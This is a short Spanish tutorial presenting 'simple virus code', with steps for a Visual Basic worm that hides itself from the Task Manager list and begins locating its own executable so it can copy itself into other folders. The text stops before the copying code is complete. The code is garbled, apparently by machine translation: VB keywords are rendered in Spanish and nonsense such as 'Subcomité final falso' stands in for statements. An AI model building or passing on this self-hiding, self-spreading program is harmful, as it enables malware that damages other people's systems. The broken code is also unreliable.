Código de programación de virus simple

Código del virus gusano

Abra Visual Basic y seleccione el Proyecto de "EXE estándar". Elimine el formulario y agregue un módulo. Haga clic en Proyecto->Propiedades del Proyecto1. En la ventana emergente, cambie el Objeto de inicio a "Subprincipal". En Módulo, escriba el siguiente código:

Sub Main() 'La función de TaskVisible es eliminar el programa de la tabla Finalizar tarea. App.TaskVisible = Subcomité final falso.

La codificación anterior solo elimina el programa de la tabla Finalizar tarea y no tiene ningún efecto. Ahora, deje que el gusano VB se copie en otras carpetas.

Escriba el siguiente código en Sub Main:

'Evitar que ocurra el problemaEn caso de error Reanudar siguiente Dim Location, Location2, DesLocation, DesLocation2 'Obtener la ubicación del EXE Location = App. Ruta & "\" & App.EXEName & ".exe" Ubicación2 = App.Path & App.EXEName & ".exe".